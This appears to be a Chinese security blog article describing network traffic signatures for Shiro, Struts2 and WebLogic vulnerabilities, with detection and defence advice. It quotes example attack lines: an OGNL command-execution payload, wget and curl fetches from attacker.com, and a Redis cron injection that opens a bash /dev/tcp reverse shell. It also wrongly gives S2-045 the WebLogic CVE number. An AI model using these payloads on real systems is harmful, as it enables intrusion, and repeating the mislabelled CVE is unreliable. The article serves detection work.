文章目录
- 一、Shiro漏洞流量特征
- 1. **身份验证阶段的特征**
- 2. **攻击阶段的特征**
- 3. **检测与防御建议**
- 二、Struts2漏洞流量特征
- 1. **请求特征**
- 2. **响应特征**
- 3. **典型案例**
- 4. **防御建议**
- 三、WebLogic漏洞流量特征
- 1. **XMLDecoder反序列化(CVE-2017-10271)**
- 2. **SSRF漏洞(CVE-2014-4210)**
- 3. **T3协议特征**
- 4. **防御建议**
- 四、总结对比
一、Shiro漏洞流量特征
核心漏洞:Shiro-550(CVE-2016-4437)与Shiro-721(Padding Oracle攻击)
1. 身份验证阶段的特征
- 登录失败:返回包必含
Set-Cookie: rememberMe=deleteMe
,无论是否勾选“记住我”。 - 登录成功:勾选“记住我”时,请求包持续携带长文本
rememberMe
字段;未勾选时仅返回包出现deleteMe
。 - 框架探测:工具爆破时主动添加
Cookie: rememberMe=yes
,通过返回包是否含deleteMe
判断Shiro存在。
2. 攻击阶段的特征
- 密钥爆破:
- 失败:返回
rememberMe=deleteMe
; - 成功:返回包无
deleteMe
,且设置新rememberMe
值(长度较短)。
- 失败:返回
- 反序列化攻击:
- Shiro-550:
rememberMe
值异常长(Base64编码的AES加密反序列化数据),响应包含Base64加密的命令回显。 - Shiro-721:利用有效Cookie爆破密钥,攻击包中
rememberMe
长度剧增,成功时触发DNSLog请求。
- Shiro-550:
- 内存马注入:
rememberMe
值超长,响应包出现$$$
等蚁剑/冰蝎连接特征。
3. 检测与防御建议
- 检测:监控
rememberMe
长度突变、deleteMe
高频返回、DNSLog域名请求。 - 防御:升级Shiro≥1.2.5(550)或≥1.4.2(721),禁用硬编码密钥,开启AES-GCM加密模式。
二、Struts2漏洞流量特征
典型漏洞:S2-045(CVE-2017-10271)、S2-016(命令执行)
1. 请求特征
- OGNL注入位置:
- 头部注入:如S2-045在
Content-Type
插入恶意OGNL表达式(如%{(#_='multipart/form-data')
)。 - 参数注入:S2-016在URL参数拼接
redirect:${@java.lang.Runtime@getRuntime().exec('id')}
。
- 头部注入:如S2-045在
- 编码混淆:使用Unicode或URL编码绕过检测(如
\u0023
代替#
)。
2. 响应特征
- 攻击成功:
- 状态码500,返回Java栈错误(如
ognl.OgnlException
); - 命令执行成功时回显命令输出(如
uid=0(root)
)。
- 状态码500,返回Java栈错误(如
- 横向攻击痕迹:漏洞利用后常下载恶意脚本(如
wget http://attacker.com/x.py
),并发动SYN Flood等攻击。
3. 典型案例
某企业服务器因Struts2漏洞被植入Perl脚本,持续向意大利IP(62.149.175.81)发送SYN包,导致防火墙CPU飙升至80%。
4. 防御建议
- 禁用动态方法调用(
struts.enable.DynamicMethodInvocation=false
)。 - 升级至Struts 2.5.26+,过滤OGNL表达式关键词(如
#
、@
)。
三、WebLogic漏洞流量特征
关键漏洞:XMLDecoder反序列化(CVE-2017-10271)、SSRF(CVE-2014-4210)
1. XMLDecoder反序列化(CVE-2017-10271)
- 请求特征:
- 路径访问
/wls-wsat/*PortType
(如/CoordinatorPortType
); - POST包含恶意XML标签(如
<object class="java.lang.ProcessBuilder">
),明文写入命令(如curl http://attacker.com/shell
)。
- 路径访问
- 响应特征:
- 成功时返回HTTP 202,写入WebShell路径(如
/servers/AdminServer/tmp/_WL_internal/wls-wsat/*/test.jsp
)。
- 成功时返回HTTP 202,写入WebShell路径(如
2. SSRF漏洞(CVE-2014-4210)
- 请求特征:访问路径
/uddiexplorer/SearchPublicRegistries.jsp
,参数含内网地址(如operator=http://192.168.1.1:6379
); - Redis利用:注入换行符(
%0D%0A
)执行Redis命令(如SET cron "\n* * * * * bash -i >& /dev/tcp/attacker/port 0>&1"
)。
3. T3协议特征
- 攻击流量:目标端口7001,TCP载荷含
t3 12.2.1\n
协议头,后续为序列化payload; - 设备告警:安全设备常基于序列化操作触发误报(需结合漏洞链完整性研判)。
4. 防御建议
- 删除
wls-wsat.war
组件,禁用T3外网访问; - 升级至官方安全版本,监控非常规路径访问(如
/uddiexplorer
)。
四、总结对比
特征维度 | Shiro | Struts2 | WebLogic |
---|---|---|---|
攻击标识 | rememberMe 长度突变 | OGNL表达式(#{} ) | XML标签/wls-wsat 路径 |
关键字段 | Cookie字段 | Content-Type/URL参数 | T3协议头/XML结构 |
成功响应 | Base64回显/无deleteMe | 500错误/命令输出 | 202状态/WebShell路径 |
典型漏洞 | Shiro-550/721 | S2-045/S2-016 | CVE-2017-10271/SSRF |
防御核心:
- Shiro:禁用默认密钥 + 会话签名验证;
- Struts2:关闭动态方法调用 + OGNL沙盒;
- WebLogic:删除冗余组件 + 网络隔离T3端口。
掌握这些流量特征,可通过WAF规则(如拦截rememberMe
超长值)和流量审计工具(如监控/wls-wsat
访问)实现精准检测。在高级攻防对抗中,需结合行为分析(如异常外联)识别混淆后的攻击流量。